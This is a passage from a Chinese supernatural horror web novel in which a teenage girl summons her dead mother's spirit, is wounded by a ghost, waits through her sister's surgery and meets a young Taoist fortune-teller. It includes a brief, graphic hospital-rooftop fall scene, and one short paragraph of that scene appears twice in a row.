在香灭了的时候，黄泉路的景致也如烟尘一般消散，在消散之后，周围再一次回到了午夜的街头。
沈聆呆愣地坐在原地，这一切都仿佛只是她的一场梦。
夜色，依旧是死一般的沉寂。
这一切就仿佛庄周一梦，清香燃尽。
“滴滴。”
突然，路边传来了汽车喇叭的声音，冷不防吓了沈聆一跳。
“谁？！”
她循声回头看去，恰好看到一辆巡逻的警车停在了自己身边，从车窗探出一个年轻的男警，正好奇地看着她。
“喂，小姐姐，大晚上的你一个人在这里做什么？”那是一位二十出头的年轻警察，额前垂着几缕乌黑的发丝，微微飘动，一对剑眉如利剑般斜飞入鬓，眉下是一双深邃如寒星的眼眸。
沈聆的思绪还停留在祭魂的惊心动魄中，思维短路，尚没有反应过来。
小警察见状，皱了皱眉头——午夜的街头坐着一个十八九岁小姑娘，这可不是能放任不管的事情。
出于警察的责任感，小警察推开车门下了警车，迈着有力的步伐走到沈聆身边时，路灯将他的影子拉长，悄然落下的影子仿佛一张幕布瞬间将沈聆笼罩其中，让她陷入淡淡的昏暗之中。
“你家在哪里？我送你回家吧，夜深了，你一个人在这里不安全。”
回家……
听到这个词，沈聆心中一阵酸涩。
她张了张口，但温热的眼泪先一步涌出了眼眶。
恐惧、悲伤、不舍、担忧、惊恐……
这些复杂的情绪一下子涌上心头，五味杂陈着，她大哭了起来。
“别……小姐姐你别哭啊……有话慢慢说，我是警察，我会帮你的……”小警察见眼前的女孩子突然哭了起来，顿感手足无措，他忙脱下自己的外套，披在沈聆颤抖的肩膀上。
外套上，小警察温暖的体温扩散到沈聆身上，她感觉到方才的阴寒似乎驱散了不少。
抬起头，她看见近在咫尺的警察脸上笼罩着淡淡的灯光，这才有了几分“回到阳间”的安稳。
——我回来了。
——我还活着。
——我见到妈妈了……
深吸了几口气，沈聆摇了摇头，脑袋飞速转动着，思考着要怎么扯谎才能隐瞒过去。
“我……”沈聆挠了挠头，“如果说……我在拜祭我爸妈，你相信吗？”
沈聆的声音带着哭腔，她看着就像是涉世未深的少女，误入歧途。
“祭拜？”警察二张和尚摸不着头脑。
“嗯……昨天，这里出了一场车祸，死了一对夫妻，男的叫沈衷，女的叫陈晴，我是他们的女儿，我叫沈聆。”沈聆开始扯谎了起来，“今天晚上我睡不着觉，就想着来拜祭一下双亲……不是说午夜十二点的时候阴气最重吗？我想着这个时候说不定能通灵，就……”
沈聆的谎言张口就来，但同时，她注意到，这位年轻的巡警，胸前挂着一个警牌，上面写着两个字——“林凌”。
“原来你是那对死者的女儿……你的心情我也可以理解，但是……这里靠近郊区，晚上没什么人，你一个人来这里实在太不安全了，最近治安不是很好，下次不要这么做了，我相信你爸妈一定不希望你以身犯险。”
“嗯、嗯……”沈聆胡乱应承着，不敢和警察对视，生怕自己露出马脚。
忽然，沈聆感觉到好像哪里不太对劲，她低下头，这才感觉到自己裤子一阵温热……
刚才祭魂的时候，她吓尿了？！
“对、对不起！我还有事情，我先回家了！！”沈聆顿时脸烧得通红，顾不得许多，她慌忙收拾起地上的结魄灯、镜子、盖好香炉，一股脑塞进背包里，慌慌张张地转身跑走了，甚至来不及把外套还给林警官。
“诶？！你慢点啊，我送你回家吧……”
未等警察说完，沈聆早就跑得没了踪影，剩下愣神的林凌还站在原地。
“……这姑娘，跑得还挺快，不当警察还挺可惜的。”警察不由得笑了起来。
他摇了摇头，转身走向了警车，原本以为轮值到午夜是一件苦差事，现在看来，似乎比想象中更有意思。
忽然，林凌腰间的对讲机响了起来。
“滴。”
他接通了对讲机，从对讲机那头，传来了报警中心的声音：“请立刻赶往元山路，那里发生了严重的车祸，一辆校车从路边翻下断崖，车上的乘客都是孩子。”
林凌的表情立刻变得严肃了起来，他跑向了警车：“收到，我马上赶过去。”
就在这时，街角一个女孩子揉了揉眼睛，躲在墙后的她早已将这一切都不动声色地看在眼里，她显然没有听到警察的对讲机，此刻心心念念的，都是方才看到的祭魂场景。
“这……又是香炉又是镜子的……难道是什么招魂仪式？有意思，看来我深夜出来寻找恐怖直播的题材还挺有收获的！听那家伙说，明天的这个时间还会过来？那我如果在那个时候开一场直播，一定超级劲爆！”
3. 五道抓痕
她叫沈聆。
聆听的聆。
不知道是否是因为阴五行体质的原因，从记事起，她总能听到一些奇怪的声音。
“沙沙……”
那些声音总是在夜深人静的时候出现，往往是某些细细碎碎的动静，从灰暗的角落里钻出来的不易察觉的声音，有的时候，听起来就像是塑料袋摩擦过地面的声音，有的时候听起来就像是某个人踮着脚步走过的声音……
小沈聆总是能听到那样的声音，但每每在她与他人说起这件事情的时候，得到的都是他人不以为然的讪笑。
儿时，她认为这个世上是有鬼的，而这念头，便来自于从小与众不同的听力，那时候，还是小孩子的沈聆会躲在被窝里装睡，等那些奇怪的声音靠近了突然打开被子，却没有看到想象中的“鬼怪”，久而久之，便自己也打消了“世上有鬼”的想法，认为这一切不过是自己的幻觉罢了，毕竟，人们总是会用“风声”、“建筑老化”、“钢筋摩擦”、“心理作用”、“过于疲劳”等一系列的原因解释某些超自然现象。
但是当沈聆真正亲眼目睹了黄泉路时，她才知道，人力也有不能及的事情。
人类所探索的世界，只不过是万千宇宙中的一角，森林这么大，就以一片树叶的视野盖棺定论，实在是太过狭隘。
或许。
这个世界上，真的存在神佛鬼怪，只不过，人们总是选择相信自己愿意相信的事情。
“这么说，你看到你娘了？”
外婆的声音在深夜的走廊里听起来更加沙哑苍白，她坐在走廊的椅子上，背靠着倾斜的椅子，抬起那双浑浊的眼睛注视着沈聆。
“手术中”的红色灯光微微照亮了外婆的半张脸，她的眼窝深陷，皮肤宛如苍老的树皮一样褶皱，爬满了岁月的痕迹。
在沈聆外出祭魂的时候，外婆留在医院，等待沈凝的手术结果，按照规定，患者在进行手术的时候，手术室外必须有家属等候，外婆便留在了医院里。
沈聆大致询问了一下，在她离开的这段时间内，徐医生曾经出来让外婆签署了一份《病危通知书》，原来是沈凝在手术过程中出现了颅内出血，喷出的血液染红了大脑皮质，不过还好，徐医生及时找到了沈凝颅内的出血的血管，止了血，几分钟之前，护士从手术室出来交代了一下手术进展，当前，沈凝的情况趋近稳定，颅脑修复手术继续进行，一过性的脑出血的问题解决了。
沈聆和外婆这才都放下心来，安心等候在手术室外。
“聆娃儿，你是按照我教你的方法祭魂的吗？看到你娘了吧。”
沈聆点了点头，在外婆身边坐下：“见到了，在瑞景路的十字路口。”
“看你的样子，应该也看到黄泉路了吧。”外婆抬起手，轻轻擦过沈聆的鬓角。
沈聆这才发现，自己已经满额冷汗。
看着沈聆宛如惊魂未定的落水小猫的样子，外婆心中也不免自责，但是这也是当前唯一能够拯救自己另一个外孙女的办法，而且，阴厨的责任，总是要有人来扛，否则，全族都将不得善终。
“对，我看到了……有一条很长的血河……里面好像有很多人……河里有很多手，还有鬼脸……整个天空都是红色的云，路灯也全都变成了荧光的绿色，我周围好多纸钱……我好像，还听到了有人在哭……”
“那便是黄泉路。”外婆点了点头，“你听到的声音，是那些哭丧的声音，冥冥之中传到了黄泉路上。因为你的阳寿未尽，在你进入黄泉路之后，来自阳间的纸钱便通过你送到了黄泉路，那些纸钱是给上路的人的，他们到望乡关的时候，要打点鬼差。”
“后来我还见到了妈妈……她看起来浑身都是血……”
“你见到的，将是死者生前最后的样子，你妈妈是车祸走的，她自然……唉，好孩子，你受苦了，我是我本来也没有想让你这么早接任阴厨的，但你娘出事，你妹妹生死未卜，只有你，才能救你妹妹。”外婆说着，低下头看了一眼沈聆手腕上带着的红绳，那条绳子比起白天的时候看起来更加鲜红，就像是献血凝固在上面的颜色，甚至还散发着淡淡的血腥味。
但忽然，外婆注意到了手链上似乎缠着一缕似有若无的寒气，她皱起眉头，抬眼看向了沈聆。
“你老实告诉我，祭魂过程中是不是发生了什么意外？”
沈聆讶异地看着外婆，没想到这位八十多岁的老人家居然感觉这么敏锐，她原是担心老人家担心，因此隐瞒了恶鬼缠身的事情，现在看来，已经瞒不住了。
沈聆吞吞吐吐地坦白：“其实……刚开始的时候，出来的人好像不是妈妈……我感觉那个人更像是女鬼，像恐怖片里的那种，她趴着我的肩膀，脖子都断了大半个，耷拉在我肩膀上，她跟我说她是我妈妈，但是她跟我说的话早就超过三句话了……我觉得那个人不是我妈妈，她还让我去陪她……而且她浑身很臭，都是血的味道，在她出现的时候，一股血雾围着我。”
沈聆用手比划着，语言还是太过苍白，无法描述当时场景的惊悚。
闻言，外婆的脸色逐渐阴沉了下去：“后来呢？”
“后来……后来好像不知道哪里出现了一道金光，罩着我，那个女鬼就消失了，再后来，我就在镜子里看到妈妈了……”
“孩子啊……你遇到的，应该是厉鬼。”外婆眼眸变得深邃，表情十分严肃。
“厉鬼？”沈聆一惊。
外婆点了点头：“这个世界上，有的亡魂死后能够在鬼差的引导下，及时投胎转世轮回，但是有的鬼因为心有不甘或是怨气太重，无法投胎，弥留在世间，久而久之，吸收了日月精华，就成为了厉鬼……在台湾或者是闽南等地方，这些厉鬼又被称为‘有应公’，甚至有的人会祭祀有应公，供奉有应公，希望鬼能够实现他们的愿望，而接受祭祀的厉鬼将更加猖獗，成为阴神一样的存在，它们不但会挟持其他的鬼魂，甚至还会企图吸收活人的生魂，强大自己的力量。”
沈聆惊讶地听着外婆的描述，那是一个自己从未了解过的世界，有许多自己无法解释的神秘力量，而现在，外婆帮她撕开了一个通往那个世界的口子，她从那细小的裂口里窥探到了一点另一个世界的诡秘，只是一点点，便感觉浑身恶寒。
“今天晚上，你能平安回来，怕是有高人相助了。”
“应该是吧，我好像有听到一个男人的声音……但是我周围都是红雾，我没有看清楚，只感觉到金光闪过去后鬼就不见了……”
“说不定那人是学雷锋做好事不留名呢，你这娃娃也真命大，如果不是今晚有高人路过，你就‘出师未捷身先死’了……想来，你和他也算是有一段缘分，如果日后有幸遇到恩人，记得要感谢人家的出手相助，如果不是他，你这新手厨子，早就被做成‘下酒菜’了。”外婆絮絮叨叨地交代。
沈聆撇了撇嘴，嘟囔着：“但是那个人也不是一开始就出手帮我啊，我前面被鬼缠着的时候他怎么不赶紧出手……估计是看了一段时间的笑话才出手的，害得我还……”
【吓尿了】这三个字，沈聆是真的没有脸说出口。
就在两人说话间，手术室的灯由红色转为了绿色，“手术中”三个字转为了“手术结束”，整条走廊瞬间明亮了一点，就像是在黑暗中一点希望的萤火，发亮着，照亮了走廊尽头一块小小的区域。
“外婆外婆，沈凝的手术好像结束了！”
沈聆兴奋地指了指手术室，一位穿着深绿色手术服的医生走出了手术室，他戴着帽子、套着白色的手套，手套上的血迹还没有干，他是沈凝颅脑手术的主刀医生，也是平安医院的脑外科副主任，徐安医生。
“徐医生……我妹妹的情况怎么样？”看见主刀医生走出手术室，沈聆忙起身围了上去，一直等在手术室外走廊的外婆也紧张地拄着拐杖起身走来。
“手术还算成功，经过开颅检查，病人的大脑皮质损伤并不严重，虽然颅骨严重变形、手术过程中出现了一过性出血，但我们切掉了变形的颅骨，并取出大脑皮层下的血肿、用甘露醇进行颅脑降压，目前病人的情况已经稳定下来了。”戴着口罩的医生认真地看着沈聆和外婆，他的声音从口罩后传来，听着有点儿沉闷，“不过在切掉变形的颅骨后，我们并没有将病人的颅脑封闭起来……”
“啥子？没有封闭？难道白花花的脑花就这样露在外面？”外婆一听，瞬间有点慌神，“
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这……你这给人开了脑袋，怎么能就这么放在那边不合起来？！”
“老人家，您别担心，留有开放性的创口这在现代的颅脑手术中很常见的，因为目前病人颅内血肿并没有完全清除，而且颅内压很不稳定，所以我们暂时留了一个创口用于查看颅脑恢复情况，等病人接受完其他外科手术之后，我们会根据病人的情况，安排二期颅脑手术，用三维立体钛网辅助颅脑修复，帮助颅脑恢复原来的状态。”
沈聆和外婆听着徐医生的解释，虽然不是很明白这些专业术语，但看着这位副主任沉着冷静的样子，原先不安的内心倒是安下了几分。
而且，他说的也是实情，沈凝的情况很不好，除了颅脑手术外，还有许多外科手术急需进行，四肢骨骼几乎全都碎了，胸腔、盆腔也有多处凹陷，内脏受创严重，这些也需要进行手术。
“……外婆，别担心，至少沈凝这一次的手术是顺利的，我们一关一关过。”沈聆低声安慰老人家。
徐医生也作出了承诺：“老人家别担心，我们医院会尽最大的努力救治病人的。”
“好的，麻烦您了，大夫。”外婆有点儿魂不守舍地点了点头，她对医生的称呼，还是旧式的“大夫”。
“谢谢徐医生。”沈聆也跟着道谢。
“治病救人是我们医生的本分，不用道谢。”
“聆娃儿，你有没有准备那个……给徐大夫意思意思的那个……人家这么辛苦，我们得给人家‘意思意思’……”外婆忙拉着沈聆的手，凑近了外孙女，低声说。
沈聆一头雾水，反而开口大声反问：“啊？什么意思意思？”
“哎呀，你这个榆木脑袋！”外婆一跺脚，难堪万分，用拐杖又打了打沈聆的脑袋，“你娘这么机灵，怎么就生了你这么个笨娃娃！”
倒是徐医生，听出了外婆话里话外的意思，哈哈大笑：“老人家，不用不用，我们现在医院明文规定，医护人员不能收受红包，而且你们的诊疗费本来就已经交完了，我们医生是不收取任何额外的费用的，您放心吧。”
“哎呀，娃娃不懂事，您不要跟她计较，我们后面补上、后面补上……”
“不用不用，老人家，真的不用！我们现在明文规定不能收受红包的，而且医院还开通了举报热线，对收受红包的医生要严格处罚的。当然了，您老人家如果觉得我的医术不高，要给您的二孙女换一个医生，那我可没话说，哈哈哈哈——”
徐医生幽默风趣地化解了外婆的难堪，沈聆这才听出了外婆的言外之意，忙跟着赔笑。
“哎呀，还是现在的医院好呀，在我们那个时候，大夫上门那可是要张口要价、漫天加价的，还是现在的医院好啊……”
老人家不由得感慨万千，从那个时代过来的人，看到了太多的时代变迁，社会的进步，甚至在一眨眼之间，就已经与十年前天差地别。
“您老人家放心吧，既然我是沈凝的医生，那我就会对病人负责到底，目前只是一期手术，等病人情况稳定之后，我们会尽快安排二期手术的。”
“谢谢大夫！”
“谢谢医生……”
“哪里的话，那我先去看看病人情况，后续病人会直接转入ICU观察病情……你们可以暂时先回去休息，沈小姐，明天早上记得再来医院办理后续的手术细则。”
“好的。”
跟病人家属解释完后，徐医生便回去手术室里忙活手术剩下的收尾善后工作，在他离开之后，手术室外的走廊又只剩下沈聆，和外婆两人。
“唉，这一天天的，真让人操心。都说儿孙自有儿孙福，我怎么生了个女儿，还要为女儿的女儿操心不完呢……”外婆苍老的声音在凌晨的走廊里听起来格外疲惫，她已经满头白发，却还要为儿孙操心，这风雨飘摇的一生似乎看不到尽头般的苍白，“对了，聆娃儿，你刚才说，那个女鬼趴在你的肩膀上？”
沈聆点了点头：“对，我的右肩来着。”
“坐下，我看看。”
沈聆依言在椅子上重新坐下，外婆巴拉开她的衣服，将衣服扯到了肩膀的地方，借着医院走廊昏暗的灯光，便看到沈聆的右肩的肩头有五道深深的抓痕。
4. 养小鬼
沈聆肩上的五道抓痕触目惊心！
那抓痕像是动物动物留下抓痕一样，从大小看起来，像是小孩子的手掌抓上去的，但对方的指甲像是五把锋利的小刀，化开了脆弱的皮肉，在柔软的皮肤上留下了五道触目惊心的抓痕，抓痕上的血并没有凝固，反而带着丝丝紫色，看起来像是中毒一样。
见状，外婆的眉头锁得更紧了。
——这莫不是……有人养的小鬼？
——从抓痕的大小来看，的确是六七岁孩子的手掌会留下的抓痕，并且伤口泛紫，应该是尸毒。
外婆轻轻用指尖碰了碰沈聆的伤口，沈聆疼得龇牙咧嘴的。
“好疼……”
“很疼吗？”
“嗯……就像是……火烧一样……但是又像是被硫酸腐蚀了一样……刚开始还不觉得痛，但是回来的路上好像越来越疼，我怕外婆您担心，就没有跟您说……”
“你这娃娃，有些事情是不能忍的。”
外婆敲了敲沈聆的脑袋，有时候她真不知道这孩子在想什么，说她蠢笨，却也知道为老人家着想，说她聪明，却从来没有考虑过自己。
——这小鬼一定是有人炼的，并且能顺利定位到阴厨的位置，说明它已经有了一定的灵力。
外婆看着沈聆身上的伤痕，陷入了沉思。
——今天是月圆之夜，这只小鬼这是在四处搜集阴魂，今天晚上，是冲着汝汝去的。
——我家汝汝生前是阴厨，死后，她的魂魄比起其他鬼魂将更加纯阴，它想用汝汝的魂魄提高自己的修为，只是没想到，汝汝被聆娃儿唤了出来，它应该是想把两人一起解决掉的，但是没想到被高人打断了“吸魂”……
——只不过，今天晚上它抓伤了聆娃儿，说不定后续还会怀恨在心、伺机报复。
——陵川市，居然暗藏炼小鬼的人……
——那个人藏在人群中，可能是任何一个人，这么看来，这个地方，也藏龙卧虎啊……
虽然外婆是这么想的，却没有将内心这番话说出口。
毕竟今天晚上是沈聆第一次当阴厨，她不想吓到她。
她摆了摆手，故作云淡风轻地说道：“没事，就是被厉鬼抓伤了一下，回头我翻翻医术，弄些草药给你敷上，应该就没有问题了。”
沈聆点了点头：“外婆，我这算不算工伤啊，我可是阴厨诶，在‘干活’的时候受伤了，我可以要一些‘补偿’吗？”
“补偿？你要跟谁要？”外婆斜眼看着沈聆。
“额……阎王爷啊，黑白无常啊之类的……他们地府应该有公务员吧？能不能给我多安排一点‘阴德’？我今天可是工伤了诶。”沈聆拉起自己的衣服，神秘兮兮地凑到外婆身边。
她现在可是对阴厨这个工作充满了好奇，虽然恐怖，但却是一个完全空白的领域，她如果能将这个职业发扬光大，说不定还可以名留青史呢！
外婆再一次敲了敲沈聆的小脑瓜子：“你以为你妹妹今天是怎么顺利完成手术的？”
沈聆揉了揉额头：“外婆您的意思是……”
“你妹妹的命数，或许本来熬不过今晚的……”外婆叹了口气，看着手术室，“但是因为你和她共命，她有了活下去的机会，今晚的脑出血，是她命中注定的劫难，但你共享的命数，让她挺过一劫，聆娃儿，你救了你妹妹的命啊。”
沈聆闻言，不由得心生感叹。
她做到了吗？
拼劲所有的勇气，跟鬼魂对话，直面黄泉，甚至吓尿了……
这么糟糕的开局，也算是做到了吗？
“对了，你娘她……她说什么了吗？”
“她说想吃米饭。和您说的一样，她只能和我说三句话，然后就消失了。”
闻言，外婆抬起头看向了走廊的灯，脑海中想起了遥远的过去。
“米饭吗……在汝汝小的时候，家里穷，没东西吃，但是隔壁那户姓梁的人家相对富裕，他们家总是有白米饭吃，在汝汝还是个小娃娃的时候，就老喜欢趴在窗户边，闻着隔壁的米香配着自家的窝窝头下饭……她这是，想起小时候的事情了呀。”
“那我这就去准备，明天晚上送过去。”
“嗯，我跟你一起做吧，你娘小时候，最喜欢吃我做的饭了……临了了，或许想能吃上一口吧。”
外婆和沈聆说话间，沈凝被医生护士们推出了手术室，医护人员已经帮她处理好了伤口，小姑娘眉头紧锁，昏迷着，戴着呼吸罩，身上插着许多管子，脑袋右上方开着一个小小的口子，隐隐约约可以看到下方软软的脑组织，看着触目惊心。
“沈凝出来了……”沈聆扶着外婆起身，两人围了上来。
“凝娃儿……”
沈凝躺在移动病床上，满头的纱布，她看起来脸色十分苍白，紧闭双眼，昏迷中的她似乎感觉不到外界的任何动静，手上插着留置针，她正吊着消炎药，身旁还放着心电监护仪，她的左手没有扎针的地方，沈聆将外婆给的红绳套了上去，但沈凝手上的那条红绳没有银铃铛，看起来颜色也更深一点。
“你们别担心，病人情况稳定下来了，我们先把病人送去ICU,ICU不允许家属入内，你们可以先回家休息了。”徐医生对二人解释着，医护人员将沈凝推走了，“对了，ICU的费用和手术的费用记得尽快去缴纳一下，用医保卡可以报销一部分。”
“好的……”
外婆和沈聆担忧地看着病床上的沈凝，医生简单交代了几句便离开了。
沈聆看着被推走的妹妹，陷入了深深的沉默，经历过今天晚上的一切，她已经不认为外婆是装神弄鬼的神婆了，相反，她现在对另一个世界感觉到了隐隐约约的敬畏，外婆或许没有说谎，这一切，说不定就是上天给她安排的最后一条出路，现在她身上扛着的，已经不是自己的命了，而是自己和妹妹两条命。
如果说，沈聆原先的命运是一条直线，那么现在这条直线已经将一部分长度
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分给了命运之线戛然而止的妹妹，在今天之后，她们的命运开始纠缠在一起，同生、共死。
“外婆，我们先回家休息一下吧，明天我还要去一下殡仪馆，火葬的事情还没商量好。”
“难为你了。”
在祖孙二人走出医院的时候，恰好迎面开来一辆警车，警车闪烁着红蓝色的灯，鸣着警笛在医院前停下，隔着一段距离，沈聆看见警车上着急忙慌地下来了一个年轻的警察，他抱着一个满身是血的孩子，一个箭步冲入了医院大厅。
在他身后，还有许多警车正停在医院前的空地上，警车闪烁的红蓝色的光照亮了整个大院，随后到的，还有救援队及消防队，他们接力着，护送重伤的孩子们到医院抢救，在孩子被抱下车的时候，医护人员已经推着担架来支援，许多受伤昏迷的孩子被医护人员送入了医院。
“让一让！让一让！”
“让一让！元山路车祸的孩子们都送过来了！快救人！”
“医生！医生！这个孩子没有呼吸了！”
“通知儿科医生会诊！”
“马上准备手术室！这个孩子的胸部被栏杆贯穿了——”
“除颤仪！这里需要除颤仪！”
……
医院大厅顿时嘈杂了起来，许多重伤的孩子被送入了医院，沈聆担心年迈的外婆被推搡摔倒，只能先拉着外婆站在大厅门框的一边，等人群散一点再离开。
“聆娃儿，这是发生了什么事情？怎么乱糟糟的？”
“我也不知道……但是这些伤者好像都是同一个学校的孩子，他们的校服是一样的……”
“嗯……我看着也全都是小娃娃，唉哟，这也太可怜了，爹娘该多伤心啊……”
就在祖孙二人说话期间，忽然，一个重物自上而下，“嘭”地一声重重砸落在她们面前！
“啊——”
沈聆冷不防吓了一跳，外婆也是一惊。
这重物掉下来的时候恰好砸在一辆警车上，直接将警车砸得凹陷了下去，车窗瞬间碎裂。
“——”
警笛大作，原先忙着抢救孩子们的人都动作一顿，警察、医生、护士、救援队、消防队朝着这边看了过来——只见一个穿着蓝色病号服的年轻女人，正砸在警车的凹陷中，她的脑袋破裂，脑经顺着碎裂的车窗滑落，暗红色的血液，也顺着车门流下。
有人，跳楼了。
这重物掉下来的时候恰好砸在一辆警车上，直接将警车砸得凹陷了下去，车窗瞬间碎裂。
“——”
警笛大作，原先忙着抢救孩子们的人都动作一顿，警察、医生、护士、救援队、消防队朝着这边看了过来——只见一个穿着蓝色病号服的年轻女人，正砸在警车的凹陷中，她的脑袋破裂，脑经顺着碎裂的车窗滑落，暗红色的血液，也顺着车门流下。
有人，跳楼了。
看样子，是一个年轻女性，甚至，跳楼的时候仍穿着产科的病号服。
5. 道长
第二天沈聆独自去殡仪馆办理了父母的火化手续，并拿到了两本火化证，看着父母的尸体被送入火化炉后，沈聆默默离开了殡仪馆。
她来送一送爸妈的最后一程，就像他们俩曾经一起迎接她的出生。
令人感到讽刺的是，原先活生生的两人，现在只剩下两本薄薄的火化证，尸体在熊熊火焰中化为了灰烬，这天地间，再没有了他们的踪迹，就只剩下相关的人心中还剩下他们的存在的证明。
在尸体被送入焚化炉的时候，她最后看了一眼，车祸现场十分惨烈，尸体就算收拾回来，也几乎七零八落了，法医和遗体整容师已经尽力复原死者生前的样貌，但拼接起来的尸体也并不完整。看着尸块在焚化炉里熊熊燃烧，沈聆意外地感觉到内心的麻木。
这一瞬间，她似乎对生死有了更进一步的理解。
人这种东西啊，总是这样赤条条来、赤条条去，所谓的金钱、名利、荣誉、赞美，都是生不带来，死不带去的东西，一把火之后，所有人都成了灰烬。
——好好沉睡吧。
——人生何尝不是一场梦呢？
在沈聆离开殡仪馆的时候，下意识地抬起头看向了天空。
湛蓝色的天空，没有一丝云朵，日光落在身上似乎都有气无力的，拂过耳畔的微风，恰似故人的告别。
沈聆感觉一切都不太真实一般。
就仿佛爸妈还在家里等着她回家吃饭，就仿佛这一切只不过是一个可怕的噩梦、一觉醒来会发现自己还躺在温暖的家里……
“他们真的走了吗……”
沈聆喃喃着，感觉手里的火化证十分冰冷，那双搀扶着自己一路长大的双手，就在这么化为了火化炉中的灰烬。
再没有人会亮着灯等着自己回家、没有人会为她准备爱吃的饭菜、没有人会絮絮叨叨地嘱咐她天冷添衣……
她已经，没有爸爸妈妈了……
感觉鼻子酸酸的，沈聆低着头往回家的方向走去。
她孤身一人走着，形单影只，脚步略显蹒跚。
生活总是要继续的，爸爸妈妈的时间已经停留在了过去，但她的时间却还在一点点往前走，她必须打起十二分的精神，才能起这个破碎的家庭。
沈聆不知道的是，她的父母缘，并没有尽，缘分万千，戛然而止的生命，放不下的牵挂，总是会以另外的方式再一次出现在生命中。
只不过，这都是后话。
且说回当下，沈聆按照外婆的叮嘱，在附近的超市买了妈妈爱吃的月牙米，并去附近的ATM查看了一下爸妈留下的存折，原先存折上有三十万人民币，这是爸爸妈妈省吃俭用存下来的钱。如今沈凝住在ICU，费用贵得离谱，每天都在烧钱，无论是用药还是手术，都需要钱，虽然有了医保可以报销一部分，但还是需要个人缴纳部分费用，沈聆只能先取出爸妈存折里的钱，用来贴补妹妹的住院费。
生活的重担一下子压在了19岁的沈聆身上，她今年6月份要高考了，但现在早已没有心思读书了，上有八十多岁的外婆要供养，下有住在ICU的妹妹要兼顾，人生一下子走进死胡同一样，每天都看不到希望，睁开眼睛只有沉重的压力。
“……得找个兼职才行，三十万不超过半个月就会全花在ICU上，得想个办法赚钱。”走在路上的沈聆这么碎碎念着，浑浑噩噩，如同行走在人世间的行尸走肉。
人行道上热热闹闹的，来来往往的人们忙碌着、奔波着，谁也没有时间管其他人的不幸。
一对夫妻牵着小女孩从沈聆身边路过，小女孩牵着爸爸妈妈的手，抬起小脸蛋撒娇着想要买库洛米的气球——
“爸爸，我想要库洛米的气球！”
才六岁的她，声音奶里奶气的，穿着粉色的蕾丝裙，看着便是爸妈捧在手心上的小公主。
“气球？昨天不是买了一个米老鼠的给你了吗？”
“不要，那个是米老鼠，我还想要库洛米的！”
“好好好，买就买，子涵，找你妈报销去……”
“什么就找我报销了，用你自己的私房钱，你的女儿你自己宠……”
“说来，我们家子涵也真是命大，那天得亏生病了，没有上校车，校车走到元山路的时候意外失控，翻下山崖了，听说好多孩子当场就死了，现在能抢救几个回来还是未知数。”
“那必须的！我们家子涵是有福的孩子！”
……
一家三口其乐融融地从沈聆身边走过，她忍不住驻足、转身，羡慕地看着别人近在咫尺的幸福，一时间百感交集，内心五味杂陈。
鼻子酸酸地，她发现自己竟然好嫉妒那个有父母的小女孩。
“喂，这位姑娘，看你印堂发黑、双目无神，看来近期并不是很顺利，要不要小道为你算上一卦？”
一个声音在耳边响起，打断了沈聆的思绪，她循声望去，这才发现自己正停在一个算命的摊位前面，而跟自己说话的，正是这个算命摊位的老板。
与其说是老板，不如说是小道士。
此人看起来不过二十出头，身材清瘦颀长，肤色稍显苍白，却散发着一种独特的沉静气质，一副黑色小圆眼镜架在高挺的鼻梁上，那眼镜后的双眸深邃如夜，仿佛能看穿世间万物，他束起的头发在脑后盘成规整的道家发髻之状，更增添了几分神秘的气息。
洁白如雪的内衫，质地细腻，在阳光下微微泛着柔光，他外披一件黑色简约外套，线条流畅，没有过多的装饰，却尽显低调与沉稳。
他坐在摊位前，其面前黑色的小摊位上摆放着龟壳、命数簿、八卦图等物品，看起来像是“专业人士”。
“算命的？”
在沈聆与他对视的那一刻，他微微摘下黑色小圆眼镜，露出一双深邃的眼眸，那眼眸犹如深不见底的幽潭，宁静而又神秘，带着一抹思索与洞察，眉头微微蹙起，仿佛在思索着沈聆的命运。
他就这样深深地凝视着沈聆，仿佛要透过她的身体，洞察她无助的灵魂。
“哈哈哈哈，可以说是算命的，但小道的业务也不止于此，占卜、驱邪都略知一二。”那位道长慢悠悠地说道，“看姑娘你面色苍白、五官面相中父母宫薄弱，生气较少，近日家中应该发生了一些变故，怕是与家中长辈有管关，此事非福乃祸，容小道斗胆问一句，姑娘的双亲是否……”
“死了，前几天刚死的，车祸，在五十米外、瑞景路的十字路口。”沈聆打断了道长的话，她的话语中带着几分麻木。
道长叹了口气：“万物皆有命数，姑娘也不必太过忧心，姑娘双亲逝去，应是姑娘此生父母缘已尽，但小道看姑娘的父母宫仍有一缕生机，怕是消散的缘分仍存一丝，若有来日，说不定能相逢于世间、有一面之缘。”
“或许吧，毕竟我今晚要给我妈妈送饭……可能你说得对，那是最后一面了也说不定。”
沈聆念叨了一句，想起要回家做饭，转身就要离开。
“姑娘留步！难道姑娘不想算算看今晚会发生什么事情吗？”
道长卖弄着玄虚，这句话倒是让沈聆脚步一顿，默不作声地回头看向了那位年轻的道长。
他将黑色的圆眼镜拿下来，看着她的眼神带着慵懒中透着几分犀利。
他的这番话，倒是惹起了沈聆的好奇，她一挑眉，斜眼看着：“……哦？那道长倒是说说看，我今晚会发生什么？”
这位道长上下打量了沈聆一番，最后审视的目光落在了沈聆那双小鹿般圆圆的眼睛上，压低了声音凑近她说道：“小道见姑娘身周莫名黑气缠绕，此乃阴魂之气，今晚子时，乃是阴气最重的时候，姑娘要小心恶鬼缠身、冤魂索命！”
“冤魂？恶鬼？”
“咳咳，不错，那可是世间厉鬼，专吃人魂魄、收人性命，姑娘怕是已经被恶鬼盯上了，这几日怕是在劫难逃啊……”道长故弄玄虚地说着，从口袋里拿出一张黄色的符纸，“当然了，若要破解此劫，也不是没有办法，只需要二十元，
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小道就给姑娘一张符纸，您看，这是我们青城山的护身符，有了这符纸的庇护……”
道长话说到一半，忽然肚子咕噜噜地叫唤了起来，声音之大，周围一圈路人都听见了。
道长与沈聆对视了一眼，两人的脑袋都空白了几秒钟。
反应过来后，道长慌忙按住自己的肚子，眼眸中满是狼狈：“额，这……”
“看来道长的符，可解生死之祸，却难填温饱之饥呀。”沈聆轻笑。
“不、不是的……小道……”看着沈聆的微笑，道长一时间不知道如何狡辩，只能窘迫地移开视线。
“好了好了，多谢你的提醒，我会小心的……至于二十元的符咒，还是留给道长你自己吧，如果有这个本事的话，变出一些吃得来说不定更靠谱点。”
沈聆摆了摆手，转身离去。
“诶？！姑娘，你别走呀……不要符咒的话，算一卦也行的……或者，我给你批一批生辰八字……”
在道长还在尽力挽回顾客的时候，沈聆已经走远了，他看着沈聆的背影，眼见唤不回来，也只能摇摇头作罢。
他叹了口气，喃喃自语：“……祸福无门，唯人自召，生死天定，也是个人的命数。”
道长说着，用手盘了盘饥肠辘辘的肚子。
“只不过，那姑娘手上戴着的东西，倒是有点意思。”
